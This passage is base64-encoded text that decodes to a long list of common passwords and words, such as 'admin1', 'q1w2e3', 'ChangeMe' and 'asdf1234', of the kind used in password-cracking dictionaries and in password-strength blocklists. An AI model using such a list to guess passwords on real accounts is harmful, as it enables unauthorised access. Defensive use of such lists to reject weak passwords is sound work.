aWENCmNvbW1hbmRlcg0KY29ubmllDQpjb250ZW50DQpjb29rDQpjb29raWVzDQpjb29raW5nDQpjb3JkZWxpYQ0KY29yb25hDQpjb3dib3lzDQpjb3lvdGUNCmNyYWNrMQ0KY3JhaWcNCmNyZWF0aXZlDQpjcm93DQpjdWRkbGVzDQpjdWVydm8NCmN1dGllDQpjeWJlcg0KZGFkZHkNCmRhaXNpZQ0KZGFpc3kNCmRhbmllbDENCmRhbmllbGxlDQpkYXJrMQ0KZGF0YWJhc2UNCmRhdmlkcw0KZGVhZGhlYWQNCmRlYXRoDQpkZW5hbGkNCmRlbmlzDQpkZXBlY2hlDQpkZXJlaw0KZGVzaWduDQpkZXN0aW55DQpkaWFuYQ0KZGlhbmUNCmRpY2tlbnMNCmRpY2toZWFkDQpkaWdnZXINCmRvZGdlcg0KZG9uDQpkb25uYQ0KZG91Z2llDQpkcmFmdA0KZHJhZ29uZmx5DQpkeWxhbg0KZWFnbGUNCmVjbGlwc2UNCmVsZWN0cmljDQplbWVyYWxkDQplbW1pdHQNCmVudHJvcHkNCmV0b2lsZQ0KZXhjYWxpYnVyDQpleHByZXNzDQpmYXJvdXQNCmZhcnNpZGUNCmZlZWRiYWNrDQpmZW5kZXINCmZpZGVsDQpmaW9uYQ0KZmlyZW1hbg0KZmlyZW56ZQ0KZmlzaDENCmZsYXNoDQpmbGV0Y2gNCmZsb3JpZGENCmZsb3dlcnMNCmZvb2wNCmZvc3Rlcg0KZm96emllDQpmcmFuY2VzY28NCmZyYW5jaW5lDQpmcmFuY29pcw0KZnJhbmsNCmZyZW5jaA0KZnVja2ZhY2UNCmZ1bg0KZ2FyZ295bGUNCmdhc21hbg0KZ2VtaW5pDQpnZW5lcmFsDQpnZXJhbGQNCmdlcm1hbnkNCmdpbGJlcnQNCmdvYXdheQ0KZ29sZA0KZ29sZGVuDQpnb2xkZmlzaA0KZ29vc2UNCmdvcmRvbg0KZ3JhaGFtDQpncmFudA0KZ3JhcGhpYw0KZ3JlZ29yeQ0KZ3JldGNoZW4NCmd1bm5lcg0KaGFsOTAwMA0KaGFubmFoDQpoYXJvbGQNCmhhcnJpc29uDQpoYXJ2ZXkNCmhhd2tleWUNCmhlYXZlbg0KaGVpZGkNCmhlbGVuDQpoZWxlbmENCmhlbGwNCmhlcnpvZw0KaGl0aGVyZQ0KaG9iYml0DQpodWV5DQppYmFuZXoNCmlkb250a25vdw0KaW1hZ2UNCmludGVncmENCmludGVybg0KaW50cmVwaWQNCmlyZWxhbmQNCmlyZW5lDQppc2FhYw0KaXNhYmVsDQpqYWNraWUNCmphY2tzb24NCmphZ3Vhcg0KamFtYWljYQ0KamFwYW4NCmplZmYNCmplbm55MQ0KamVzc2llDQpqZXRocm90dWxsDQpqa2wxMjMNCmpvZWwNCmpvaGFuDQpqb2hhbm5hMQ0Kam9obm55DQpqb2tlcjENCmpvcmRhbjIzDQpqdWRpdGgNCmp1bGlhDQpqdW1hbmppDQpqdXNzaQ0Ka2FuZ2Fyb28NCmthcmVuMQ0Ka2F0aHkNCmtlZXBvdXQNCmtlaXRoMQ0Ka2VubmV0aA0Ka2lkZGVyDQpraW0NCmtpbWJlcmx5DQpraW5nDQpraW5nZG9tDQpraXJrDQpraXRrYXQNCmtyYW1lcg0Ka3Jpcw0Ka3Jpc3Rlbg0KbGFtYmRhDQpsYXVyYQ0KbGF1cmllDQpsYXcNCmxhd3JlbmNlDQpsYXd5ZXINCmxlZ2VuZA0KbGVvbg0KbGliZXJ0eQ0KbGlnaHQNCmxpbmRzYXkNCmxpbmRzZXkNCmxpc2ENCmxpdmVycG9vbA0KbG9naWNhbA0KbG9sYQ0KbG9uZWx5DQpsb3JyaWUNCmxvdWlzDQpsb3ZlbHkNCmxvdmVtZQ0KbHVjYXMNCm0NCm1hZG9ubmENCm1haWwNCm1ham9yDQptYWxjb2xtDQptYWxpYnUNCm1hcmF0aG9uDQptYXJjZWwNCm1hcmlhMQ0KbWFyaWFoDQptYXJpYWgxDQptYXJpbHluDQptYXJpbmVyDQptYXJpbw0KbWFyazENCm1hcnZpbg0KbWF1cmljZQ0KbWF4DQptYXhpbmUNCm1heHdlbGwNCm1lDQptZWRpYQ0KbWVnZ2llDQptZWxhbmllDQptZWxpc3NhDQptZWxvZHkNCm1lcmxvdA0KbWV4aWNvDQptaWNoYWVsMQ0KbWljaGVsZQ0KbWlkbmlnaHQNCm1pZHdheQ0KbWlrZTENCm1pa2kNCm1pbmUNCm1pcmFjbGUNCm1pc2hhDQptaXNoa2ENCm1tb3VzZQ0KbW9sbHkxDQptb25pcXVlDQptb250cmVhbA0KbW9vY293DQptb29uDQptb29yZQ0KbW9wYXINCm1vcnJpcw0KbW9ydA0KbW9ydGltZXINCm1vdXNlMQ0KbXVsZGVyDQpuYXV0aWNhDQpuZWxsaWUNCm5lcm1hbA0KbmV3DQpuZXd0b24NCm5pY2FyYW8NCm5pY2sNCm5pbmENCm5pcnZhbmExDQpuaXNzYW4NCm5vcm1hbg0Kbm90ZWJvb2sNCm9jZWFuDQpvbGl2aWVyDQpvbGxpZQ0Kb2xzZW4NCm9wZXJhDQpvcHVzDQpvcmFuZ2VzDQpvcmVnb24NCm9yaW9uDQpvdmVya2lsbA0KcGFjZXJzDQpwYWNrZXINCnBhbmRhDQpwYW5kb3JhDQpwYW50aGVyDQpwYXNzaW9uDQpwYXRyaWNpYQ0KcGVhcmwNCnBlZXdlZQ0KcGVuY2lsDQpwZW5ueQ0KcGVvcGxlDQpwZXJjeQ0KcGVyc29uDQpwZXRlcjENCnBldGV5DQpwaWNhcmQNCnBpY2Fzc28NCnBpZXJyZQ0KcGlua2Zsb3lkDQpwaXQNCnBsdXMNCnBvbGFyDQpwb2xhcmlzDQpwb2xpY2UNCnBvbG8NCnBvb2tpZTENCnBvcHB5DQpwb3dlcg0KcHJlZGF0b3INCnByZXN0b24NCnByaW11cw0KcHJvbWV0aGV1cw0KcHVibGljDQpxMXcyZTMNCnF1ZWVuDQpxdWVlbmllDQpxdWVudGluDQpyYWRpbw0KcmFscGgNCnJhbmRvbQ0KcmFuZ2Vycw0KcmFwdG9yDQpyYXN0YWZhcmlhbg0KcmVhbGl0eQ0KcmVkcnVtDQpyZW1vdGUNCnJlcHRpbGUNCnJleW5vbGRzDQpyaG9uZGENCnJpY2FyZG8NCnJpY2FyZG8xDQpyaWNreQ0Kcml2ZXINCnJvYWRydW5uZXINCnJvYg0Kcm9iaW5ob29kDQpyb2JvdGVjaA0Kcm9ja25yb2xsDQpyb2NreTENCnJvZGVvDQpyb2xleA0Kcm9uYWxkDQpyb3VnZQ0Kcm94eQ0Kcm95DQpydWJ5DQpydXRoaWUNCnNhYnJpbmENCnNha3VyYQ0Kc2FsYXNhbmENCnNhbGx5DQpzYW1wc29uDQpzYW11ZWwNCnNhbmRyYQ0Kc2FudGENCnNhcHBoaXJlDQpzY2FyZWNyb3cNCnNjYXJsZXQNCnNjb3JwaW8NCnNjb3R0MQ0Kc2NvdHRpZQ0Kc2NvdXQNCnNjcnVmZnkNCnNjdWJhMQ0Kc2VhdHRsZQ0Kc2VyZW5hDQpzZXJnZXkNCnNoYW50aQ0Kc2hhcmsNCnNob2d1bg0Kc2ltb24NCnNpbmdlcg0Kc2tpYnVtDQpza3VsbA0Kc2t1bmsNCnNreXdhbGtlcg0Kc2xhY2tlcg0Kc21hc2hpbmcNCnNtaWxlcw0Kc25vd2ZsYWtlDQpzbm93c2tpDQpzbnVmZnkNCnNvY2NlcjENCnNvbGVpbA0Kc29ubnkNCnNvdW5kDQpzcGFua3kNCnNwZWVkeQ0Kc3BpZGVyDQpzcG9va3kNCnN0YWNleQ0Kc3RhcjY5DQpzdGFydA0Kc3RhcnRlcg0Kc3RldmVuMQ0Kc3RpbmcxDQpzdGlua3kNCnN0cmF3YmVycnkNCnN0dWFydA0Kc3VnYXINCnN1bmJpcmQNCnN1bmRhbmNlDQpzdXBlcmZseQ0Kc3V6YW5uZQ0Kc3V6dWtpDQpzd2ltbWVyDQpzd2ltbWluZw0Kc3lzdGVtDQp0YWZmeQ0KdGFyemFuDQp0YmlyZA0KdGVkZHkNCnRlZGR5YmVhcg0KdGVmbG9uDQp0ZW1wb3JhbA0KdGVybWluYWwNCnRlcnJ5DQp0aGUNCnRoZWF0cmUNCnRoZWp1ZGdlDQp0aHVuZGVyDQp0aHVyc2RheQ0KdGltZQ0KdGlua2VyDQp0b2J5DQp0b2RheQ0KdG9reW8NCnRvb3RzaWUNCnRvcm5hZG8NCnRyYWN5DQp0cmVlDQp0cmljaWENCnRyaWRlbnQNCnRyb2phbg0KdHJvdXQNCnRydW1hbg0KdHJ1bXBldA0KdHVja2VyDQp0dXJ0bGUNCnR5bGVyDQp1dG9waWENCnZhZGVyDQp2YWwNCnZhbGhhbGxhDQp2aXNhDQp2b3lhZ2VyDQp3YXJjcmFmdA0Kd2FybG9jaw0Kd2FycmVuDQp3YXRlcg0Kd2F5bmUNCndlbmR5DQp3aWxsaWFtcw0Kd2lsbHkNCndpbjk1DQp3aW5kc3VyZg0Kd2lub25hDQp3b2xmDQp3b2xmMQ0Kd29vZHkNCndvb2Z3b29mDQp3cmFuZ2xlcg0Kd3JpZ2h0DQp3d3cNCnhjb3VudHJ5DQp4ZmlsZXMNCnh4eHh4eA0KeQ0KeWFua2Vlcw0KeW9kYQ0KeXVrb24NCnl2b25uZQ0KemVicmENCnplbml0aA0KemlnemFnDQp6b21iaWUNCnp4YzEyMw0KenhjdmINCnp6eg0KMDAwMDAwDQowMDcwMDcNCjExMTExDQoxMTExMTExMQ0KMTIxMw0KMTIxNA0KMTIyNQ0KMTIzMzIxDQoxMzEzDQoxMzE2DQoxMzMyDQoxNDEyDQoxNDMwDQoxNzE3MTcNCjE4MTgNCjE4MTgxOA0KMTk1MA0KMTk1Mg0KMTk1Mw0KMTk1NQ0KMTk1Ng0KMTk2MA0KMTk2NA0KMTk3NQ0KMTk3Nw0KMTk5MQ0KMWEyYjNjDQoxY2hyaXMNCjFraXR0eQ0KMXF3MjNlDQoyMDAxDQoyMDIwDQoyMTEyDQoyMg0KMjIwMA0KMjI1Mg0KMmtpZHMNCjMwMTANCjMxMTINCjMxNDENCjMzMw0KMzUzMw0KNDA1NQ0KNDQ0NA0KNDc4OA0KNDg1NA0KNHJ1bm5lcg0KNTA1MA0KNTEyMQ0KNTQzMjENCjU1NTU1DQo1N2NoZXZ5DQo2MjYyDQo2MzAxDQo2OTY5DQo3Nzc3Nzc3DQo3ODk0NTYNCjdkd2FyZnMNCjg4ODg4ODg4DQpBYmNkZWZnDQpBbGV4aXMNCkFscGhhDQpBbmltYWxzDQpBcmllbA0KQk9TUw0KQmFpbGV5DQpCYXN0YXJkDQpCZWF2aXMNCkJpc21pbGxhaA0KQm9uem8NCkJvb2Jvbw0KQm9zdG9uDQpDYW51Y2tzDQpDYXJkaW5hbA0KQ2Fyb2wNCkNlbHRpY3MNCkNoYW5nZU1lDQpDaGFybGllDQpDaHJpcw0KQ29tcHV0ZXINCkNvdWdhcg0KQ3JlYXRpdmUNCkN1cnRpcw0KRGFuaWVsDQpEYXJrbWFuDQpEZW5pc2UNCkRyYWdvbg0KRWFnbGVzDQpFbGl6YWJldGgNCkVzdGhlcg0KRmlnYXJvDQpGaXNoaW5nDQpGb3J0dW5lDQpGcmVkZHkNCkZyb250MjQyDQpHYW5kYWxmDQpHZXJvbmltbw0KR2luZ2Vycw0KR29sZGVuDQpHb29iZXINCkdyZXRlbA0KSEFSTEVZDQpIYWNrZXINCkhhbW1lcg0KSGFybGV5DQpIZWF0aGVyDQpIZW5yeQ0KSGVyc2hleQ0KSG9tZXINCkphY2tzb24NCkphbmV0DQpKZW5uaWZlcg0KSmVyc2V5DQpKZXNzaWNhDQpKb2FubmENCkpvaG5zb24NCkpvcmRhbg0KS0lMTEVSDQpLYXRpZQ0KS2l0dGVuDQpMaWJlcnR5DQpMaW5kc2F5DQpMaXphcmQNCk1hZGVsaW5lDQpNYXJnYXJldA0KTWF4d2VsbA0KTWVsbG9uDQpNZXJsb3QNCk1ldGFsbGljDQpNaWNoZWwxDQpNb25leQ0KTW9uc3Rlcg0KTW9udHJlYWwNCk5ld3Rvbg0KTmljaG9sYXMNCk5vcmlrbw0KUGFsYWRpbg0KUGFtZWxhDQpQYXNzd29yZA0KUGVhY2hlcw0KUGVhbnV0cw0KUGV0ZXINClBob2VuaXgNClBpZ2xldA0KUG9va2llDQpQcmluY2Vzcw0KUHVycGxlDQpSYWJiaXQNClJhaWRlcnMNClJhbmRvbQ0KUmViZWNjYQ0KUm9iZXJ0DQpSdXNzZWxsDQpTYW1teQ0KU2F0dXJuDQpTZXJ2aWNlDQpTaGFkb3cNClNpZGVraWNrDQpTa2VldGVyDQpTbW9rZXkNClNwYXJreQ0KU3BlZWR5DQpTdGVybGluZw0KU3RldmVuDQpTdW1tZXINClN1bnNoaW5lDQpTdXBlcm1hbg0KU3ZlcmlnZQ0KU3dvb3NoDQpUYXlsb3INClRoZXJlc2ENClRob21hcw0KVGh1bmRlcg0KVmVybm9uDQpWaWN0b3JpYQ0KVmluY2VudA0KV2F0ZXJsb28NCldlYnN0ZXINCldpbGxvdw0KV2lubmllDQpXb2x2ZXJpbmUNCldvb2Ryb3cNCldvcmxkDQphYQ0KYWFhYQ0KYWFyZHZhcmsNCmFiYm90dA0KYWJjZDEyMw0KYWJjZGUNCmFjY29yZA0KYWN0aXZlDQphY3VyYQ0KYWRnDQphZG1pbg0KYWRtaW4xDQphZHJvY2sNCmFlcm9iaWNzDQphZnJpY2ENCmFnZW50DQphaXJib3JuZQ0KYWlyd29sZg0KYWtpMTIzDQphbGZhcm8NCmFsaQ0KYWxpY2lhDQphbGllbg0KYWxpZW5zDQphbGluYQ0KYWxpbmUNCmFsaXNvbg0KYWxsZWdybw0KYWxsZW4NCmFsbHN0YXRlDQphbG9oYQ0KYWxwaGExDQphbHRhbWlyYQ0KYWx0aGVhDQphbHRpbWENCmFsdGltYTENCmFtYW5kYTENCmFtYXppbmcNCmFtZXJpY2ENCmFtb3VyDQphbmRlcnNvbg0KYW5kcmUNCmFuZHJldyENCmFuZHJldzENCmFuZHJvbWVkDQphbmdlbHMNCmFuZ2llMQ0KYW5uDQphbm5lDQphbm5lbGkNCmFubmllDQphbnl0aGluZw0KYXBwbGUxDQphcHBsZTINCmFwcGxlcGllDQphcHJpbA0KYXB0aXZhDQphcXVhDQphcXVhcml1cw0KYXJpYW5lDQphcmllbA0KYXJsZW5lDQphcnJvdw0KYXJ0ZW1pcw0KYXNkZjEyMzQNCmFzZGY7bGtqDQphc2RmamtsDQphc2hsZXkxDQphc2hyYWYNCmFzaHRvbg0KYXNzbXVuY2gNCmFzdGVyaXgNCmF0dGlsYQ0KYXV0dW1uDQphdmF0YXINCmF5ZWxldA0KYXlsbWVyDQpiYWJlcw0KYmFtYmkNCmJhcmFrYQ0KYmFyYmllDQpiYXJuDQpiYXJuZXkxDQpiYXJueWFyZA0KYmFycmV0dA0KYmFydA0KYmFydG1hbg0KYmJhbGwNCmJlYWNoZXMNCmJlYW5pZQ0KYmVhbnMNCmJlYXN0eQ0KYmVhdXR5DQpiZWF2aXMxDQpiZWJlDQpiZWNjYQ0KYmVsZ2l1bQ0KYmVsaXplDQpiZWxsZQ0KYmVsbW9udA0KYmVuamkNCmJlbnNvbg0KYmVvd3VsZg0KYmVybmFyZG8NCmJlcnJ5DQpiZXJ5bA0KYmVzdA0KYmV0YQ0KYmV0YWNhbQ0KYmV0c3kNCmJldHR5DQpiaGFyYXQNCmJpY2hvbg0KYmlnYWwNCmJpZ2Jvc3MNCmJpZ3JlZA0KYmlrZXINCmJpbGJvDQpiaWxscw0KYmlsbHkxDQpiaW1tZXINCmJpb2JveQ0KYmlvY2hlbQ0KYmlyZGllDQpiaXJkeQ0KYmlydGhkYXkNCmJpc2N1aXQNCmJpdHRlcg0KYml6DQpibGFja2phY2sNCmJsYWgNCmJsYW5jaGUNCmJsaW5kcw0KYmxpdHoNCmJsb29kDQpibG93am9iDQpibG93bWUNCmJsdWVleWVzDQpibHVlamVhbg0KYmx1ZXMNCmJvYXQNCmJvZ2FydA0KYm9nZXkNCmJvZ3VzDQpib21iYXkNCmJvb2JpZQ0KYm9vdHMNCmJvb3RzaWUNCmJvdWxkZXINCmJvdXJib24NCmJveGVyDQpib3hlcnMNCmJvem8NCmJyYWluDQpicmFuY2gNCmJyYW5kaQ0KYnJlbnQNCmJyZXdzdGVyDQpicmlkZ2UNCmJyaXRhaW4NCmJyb2tlcg0KYnJvbmNvDQpicm9udGUNCmJyb29rZQ0KYnJvdGhlcg0KYnJ5YW4NCmJ1YmJsZQ0KYnVja3MNCmJ1ZGRoYQ0KYnVkZ2llDQpidWZmZXR0DQpidWdzDQpidWxscw0KYnVybnMNCmJ1cnRvbg0KYnV0dGVyZmx5DQpidXp6DQpieXJvbg0KYzAwcGVyDQpjYWxlbmRhcg0KY2FsZ2FyeQ0KY2FsdmluMQ0KY2FtYXkNCmNhbWVsDQpjYW1pbGxlDQpjYW1wYmVsbA0KY2FtcGluZw0KY2FuY2VyDQpjYW5lbGENCmNhbm5vbg0KY2FyDQpjYXJib24NCmNhcmwNCmNhcm5hZ2UNCmNhcm9seW4NCmNhcnJvdA0KY2FzY2FkZQ0KY2F0DQpjYXRmaXNoDQpjYXRoeQ0KY2F0d29tYW4NCmNlY2lsZQ0KY2VsaWNhDQpjZW1lbnQNCmNlc3NuYQ0KY2hhZA0KY2hhaW5zYXcNCmNoYW1lbGVvbg0KY2hhbmcNCmNoYW5nZQ0KY2hhbnRhbA0KY2hhcmdlcg0KY2hhdA0KY2hlcnJ5DQpjaGVzcw0KY2hpYXJhDQpjaGllZnMNCmNoaW5hDQpjaGluYWNhdA0KY2hpbm9vaw0KY2hvdWV0dGUNCmNocmlzMTIzDQpjaHJpc3QxDQpjaHJpc3RtYXMNCmNocmlzdG9waGVyDQpjaHJvbm9zDQpjaHVjaw0KY2ljZXJvDQpjaW5keTENCmNpbmVtYQ0KY2lyY3VpdA0KY2lycXVlDQpjaXJydXMNCmNpdmljDQpjbGFwdG9uDQpjbGFya3Nvbg0KY2xhc3MNCmNsYXVkZQ0KY2xhdWRlbA0KY2xlbw0KY2xpZmYNCmNsb2NrDQpjbHVlbGVzcw0KY29iYWluDQpjb2JyYQ0KY29keQ0KY29sZXR0ZQ0KY29sbGVnZQ0KY29sb3INCmNvbG9ycw0KY29sdDQ1DQpjb21ldA0KY29uY2VwdA0KY29uY29yZGUNCmNvbmZ1c2VkDQpjb29sDQpjb29sYmVhbg0KY29yYQ0KY29ya3kNCmNvcm5mbGFrZQ0KY29ydmV0dGUNCmNvcndpbg0KY29zbW8NCmNvdW50cnkNCmNvdXJpZXINCmNvd3MNCmNyZXNjZW50DQpjcm9zcw0KY3Jvd2xleQ0KY3J1c2FkZXINCmN0aHVsaHUNCmN1ZGENCmN1bm5pbmdoYW0NCmN1bnQNCmN1cGNha2UNCmN1cnJlbnQNCmN1dGxhc3MNCmN5bnRoaWENCmRhZWRhbHVzDQpkYWdnZXINCmRhZ2dlcjENCmRhaWx5DQpkYWxlDQpkYW1taXQNCmRhbW9ncmFuDQpkYW5hDQpkYW5jZXINCmRhcGhuZQ0KZGFya3N0YXINCmRhcnJlbg0KZGFycnlsDQpkYXJ3aW4NCmRhdGExDQpkYXRhdHJhaW4NCmRheXRlaw0KZGVhZA0KZGVib3JhaA0KZGVjZW1iZXINCmRlY2tlcg0KZGVlZGVlDQpkZWV6bnV0cw0KZGVmDQpkZWxhbm8NCmRlbGV0ZQ0KZGVtb24NCmRlbmlzZQ0KZGVubnkNCmRlc2VydA0KZGVza2pldA0KZGV0cm9pdA0KZGV2aWwNCmRldmluZQ0KZGV2b24NCmRleHRlcg0KZGhhcm1hDQpkaWFubmUNCmRpZXNlbA0KZGlsbHdlZWQNCmRpbQ0KZGlwcGVyDQpkaXJlY3Rvcg0KZGlzY28NCmRpeGllDQpkaXhvbg0KZG9jDQpkb2RnZXJzDQpkb2diZXJ0DQpkb2dneQ0KZG9pdG5vdw0KZG9sbGFyDQpkb2xseQ0KZG9taW5pcXVlDQpkb21pbm8NCmRvbnRrbm93DQpkb29naWUNCmRvb3JzDQpkb3JrDQpkb3Vkb3UNCmRvdWcNCmRvd250b3duDQpkcmFnb24xDQpkcml2ZXINCmR1ZGUNCmR1ZGxleQ0KZHV0Y2gNCmR1dGNoZXNzDQpkd2lnaHQNCmVhZ2xlMQ0KZWFzdGVyDQplYXN0ZXJuDQplZGl0aA0KZWRtdW5kDQplZmZpZQ0KZWllaW8NCmVpZ2h0DQplbGVtZW50DQplbGluYTENCmVsaXNzYQ0KZWxsYQ0KZWxsZW4NCmVsbGlvdA0KZWxzaWUNCmVtcGlyZQ0KZW5nYWdlDQplbmlnbWENCmVudGVycHJpc2UNCmVyaWMxDQplcmluDQplcm5pZTENCmVzY29ydA0KZXNjb3J0MQ0KZXN0ZWxsZQ0KZXVnZW5lDQpldmVseW4NCmV4Y2VsDQpleHBsb3JlDQpleWFsDQpmYWN1bHR5DQpmYWlydmlldw0KZmFtaWx5MQ0KZmF0Ym95DQpmYXVzdA0KZmVsaXBlDQpmZW5yaXMNCmZlcmd1c29uDQpmZXJyZXQNCmZlcnJpcw0KZmluYW5jZQ0KZmlyZWJhbGwNCmZpcnN0DQpmaXNoZXMNCmZpc2hoZWFkDQpmaXNoaWUNCmZsYW5kZXJzDQpmbGV1cnMNCmZsaWdodA0KZmxvcmlkYTENCmZsb3dlcnBvdA0KZmx1dGUNCmZseQ0KZmx5Ym95DQpmbHllcg0KZm9yd2FyZA0KZnJhbmthDQpmcmVkZGllDQpmcmVkZXJpYw0KZnJlZQ0KZnJlZWJpcmQNCmZyZWVtYW4NCmZyaXNjbw0KZnJpdHoNCmZyb2dnaWUNCmZyb2dnaWVzDQpmcm9ncw0KZnJvbnQyNDINCmZyb250aWVyDQpmdWNrdQ0KZnVnYXppDQpmdW5ndXkNCmZ1bnRpbWUNCmZ1dHVyZQ0KZnV6eg0KZ2FiYnkNCmdhYnkNCmdhZWxpYw0KZ2FtYmxlcg0KZ2FtZXMNCmdhbW1hcGhpDQpnYXJjaWENCmdhcmZ1bmtlbA0KZ2FydGgNCmdhcnkNCmdhc3Rvbg0KZ2F0ZXdheQ0KZ2F0ZXdheTINCmdhdG9yMQ0KZ2VvcmdlMQ0KZ2VvcmdpYQ0KZ2VybWFuDQpnZXJtYW55MQ0KZ2V0b3V0DQpnZ2VvcmdlDQpnaG9zdA0KZ2liYm9ucw0KZ2lic29uDQpnaWdpDQpnaWxnYW1lc2gNCmdpc2VsbGUNCmdsaWRlcjENCmdtb25leQ0KZ29hdA0KZ29ibGluDQpnb2JsdWUNCmdvZGl2YQ0KZ29ldGhlDQpnb2Zpc2gNCmdvbGx1bQ0KZ29uZQ0KZ29vZA0KZ3JhbXBzDQpncmFuZG1hDQpncmF2aXMNCmdyYXkNCmdyZWVkDQpncmVnDQpncmVnMQ0KZ3JlbWxpbg0KZ3JldGENCmdyZXR6a3kNCmdyaXp6bHkNCmdydW1weQ0KZ3Vlc3MNCmd1aWRvDQpndWl0YXIxDQpndW1ieQ0KZ3VzdGF2bw0KaDJvcG9sbw0KaGFnZ2lzDQpoYWhhDQpoYWlsZXkNCmhhbA0KaGFsbG93ZWVuDQpoYWxsb3dlbGwNCmhhbWlkDQpoYW1pbHRvbg0KaGFtbGV0DQpoYW5rDQpoYW5uYQ0KaGFuc29uDQpoYXBweTEyMw0KaGFwcHlkYXkNCmhhcmRjb3JlDQpoYXJsZXkxDQpoYXJvDQpoYXJyaWV0DQpoYXJyaXMNCmhhcnZhcmQNCmhhd2sNCmhhd2tleWUxDQpoZWFsdGgNCmhlYWx0aDENCmhlYXJ0DQpoZWF0aGVyMQ0KaGVhdGhlcjINCmhlZGdlaG9nDQpoZWlra2kNCmhlbGVuZQ0KaGVsbG8xDQpoZWxsbzEyMw0KaGVsbG84DQpoZWxsb2hlbGxvDQpoZWxwMTIzDQpoZWxwZXINCmhlcm1lcw0KaGV5dGhlcmUNCmhpZ2hsYW5kDQpoaWxkYQ0KaGlsbGFyeQ0KaGlzdG9pcmUNCmhpc3RvcnkNCmhpdGxlcg0KaG9iYmVzDQpob2xpZGF5DQpob2xseQ0KaG9tZXJqDQpob25kYTENCmhvbmdrb25nDQpob29zaWVyDQpob290aWUNCmhvcGUNCmhvcnNlDQpob3NlaGVhZA0KaG90cm9kDQpodWFuZw0KaHVkc29uDQpodWdoDQpodWdvDQpodW1tZXINCmh1c2tpZXMNCmh5ZHJvZ2VuDQppDQppYjZ1YjkNCmlkaW90DQppZjZ3YXM5DQppZm9yZ2V0DQppbG1hcmkNCmlsb3ZldQ0KaW1wYWN0DQppbmRvbmVzaWENCmluZ3Zhcg0KaW5zaWdodA0KaW5zdHJ1Y3QNCmludGVncmFsDQppb21lZ2ENCmlyaW5hDQppcmlzDQppcm1lbGkNCmlzYWJlbGxlDQppc3JhZWwNCml0YWxpYQ0KaXRhbHkNCml6enkNCmowa2VyDQpqMWwydDMNCmphY2tpZTENCmphY29iDQpqYWtleQ0KamFtZXMxDQpqYW1lc2JvbmQNCmphbWllDQpqYW1qYW0NCmphbg0KamF6eg0KamVhbg0KamVkaQ0KamVlcHN0ZXINCmplZmZyZXkxDQpqZW5uaWUNCmplbm55DQpqZW5zZW4NCmplcg0KamVzc2UNCmplc3NlMQ0KamVzdGVyDQpqZXRocm8NCmpldHRhMQ0KamltYm9iDQpqaW1pDQpqaW1teQ0Kam9hbmllDQpqb2FubmENCmpvZWxsZQ0Kam9objMxNg0Kam9yZGllDQpqb3JnZQ0Kam9zZWUNCmpvc2gNCmpvdXJuZXkNCmpveQ0Kam95Y2UNCmp1YmlsZWUNCmp1aGFuaQ0KanVsZXMNCmp1bGlhMg0KanVsaWVuDQpqdWxpZXQNCmp1bWJvDQpqdW1wDQpqdW5lYnVnDQpqdW5pcGVyDQpqdXN0ZG9pdA0KanVzdGljZTQNCmthbGFtYXpvDQprYWxpDQprYXJpbg0Ka2FyaW5lDQprYXJtYQ0Ka2F0DQprYXRlDQprYXRlcmluYQ0Ka2F0aWUNCmthdGllMQ0Ka2F5bGENCmtjaW4NCmtlZXBlcg0Ka2VsbGVyDQprZW5kYWxsDQprZW5ueQ0Ka2VyYWxhDQprZXJyeWENCmtldGNodXANCmtoYW4NCmtpZHMNCmtpbmdzDQpraXNzYTINCmtpc3NtZQ0Ka2l0dGVuDQpraXR0eWNhdA0Ka2l3aQ0Ka2tra2trDQprbGVlbmV4DQprb21iYXQNCmtyaXN0aQ0Ka3Jpc3RpbmUNCmxhYjENCmxhYnRlYw0KbGFkZGllDQpsYWR5YnVnDQpsYW1lcg0KbGFuY2UNCmxhc2VyDQpsYXNlcmpldA0KbGFzc2llMQ0KbGF1cmVsDQpsYXdzb24NCmxlYWRlcg0KbGVhZg0KbGVibGFuYw0KbGVnYWwNCmxlbGFuZA0KbGVtb24NCmxlbw0KbGVzdGVyDQpsZXR0ZXINCmxldHRlcnMNCmxldg0KbGV4dXMxDQpsaWJyYQ0KbGlmZQ0KbGlnaHRzDQpsaW1hDQpsaW9uZWwNCmxpb25zDQpsaXNzYWJvbg0KbGl0dGxlDQpsaXoNCmxpenp5DQpsb2dnZXINCmxvZ29zDQpsb2lzbGFuZQ0KbG9raQ0KbG9saXRhDQpsb25lc3Rhcg0KbG9uZ2VyDQpsb25naG9ybg0KbG9vbmV5DQpsb3Jlbg0KbG9yaQ0KbG9ybmENCmxvc2VyDQpsb3N0DQpsb3R1cw0KbG91DQpsb3ZlcnMNCmxvdmV5b3UNCmx1Y2lhDQpsdWNpZmVyDQpsdWNreTE0DQptYWNoYQ0KbWFjcm9zcw0KbWFjc2UzMA0KbWFkZGllDQptYWRtYXgNCm1hZG9rYQ0KbWFnaWMxDQptYWdudW0NCm1haWRlbg0KbWFpbmUNCm1ha2VpdHNvDQptYWxsYXJkDQptYW5hZ2VtZQ0KbWFuc29uDQptYW51ZWwNCm1hcmMNCm1hcmN1cw0KbWFyaWENCm1hcmllbGxlDQptYXJpbmUNCm1hcmlubw0KbWFyc2hhbGwNCm1hcnQNCm1hcnRoYQ0KbWF0aA0KbWF0dGkxDQptYXR0aW5nbHkNCm1heG1heA0KbWVhdGxvYWYNCm1lY2gNCm1lY2hhbmljDQptZWRpY2FsDQptZWdhbg0KbWVpc3Rlcg0KbWVsaW5hDQptZW1waGlzDQptZXJjZXINCm1lcmRlDQptZXJtYWlkDQptZXJyaWxsDQptaWFtaQ0KbWljaGFsDQptaWNoZWwNCm1pY2hpZ2FuDQptaWNob3UNCm1pY2tlbA0KbWlja2V5MQ0KbWljcm9zb2Z0DQptaWR2YWxlDQptaWthZWwNCm1pbGFubw0KbWlsZXMNCm1pbGxlbml1bQ0KbWlsbGlvbg0KbWlub3UNCm1pcmFuZGENCm1pcmlhbQ0KbWlzc2lvbg0KbW1tbW1tDQptb2JpbGUNCm1vYnlkaWNrDQptb2RlbQ0KbW9qbw0KbW9ua2V5MQ0KbW9ucm9lDQptb250YW5hDQptb250YW5hMw0KbW9udHJvc2UNCm1vbnR5DQptb29tb28NCm1vb25iZWFtDQptb3JlY2F0cw0KbW9ycGhldXMNCm1vdG9yDQptb3Rvcm9sYQ0KbW92aWVzDQptb3dnbGkNCm1vemFydA0KbXVsZGVyMQ0KbXVuY2hraW4NCm11cnJheQ0KbXVzY2xlDQptdXN0YW5nMQ0KbmFkaWENCm5hZGluZQ0KbmFwb2xlb24NCm5hdGlvbg0KbmF0aW9uYWwNCm5laWwNCm5la28NCm5lc2JpdA0KbmVzdGxlDQpuZXV0cmlubw0KbmV3YWNjb3VudA0KbmV3b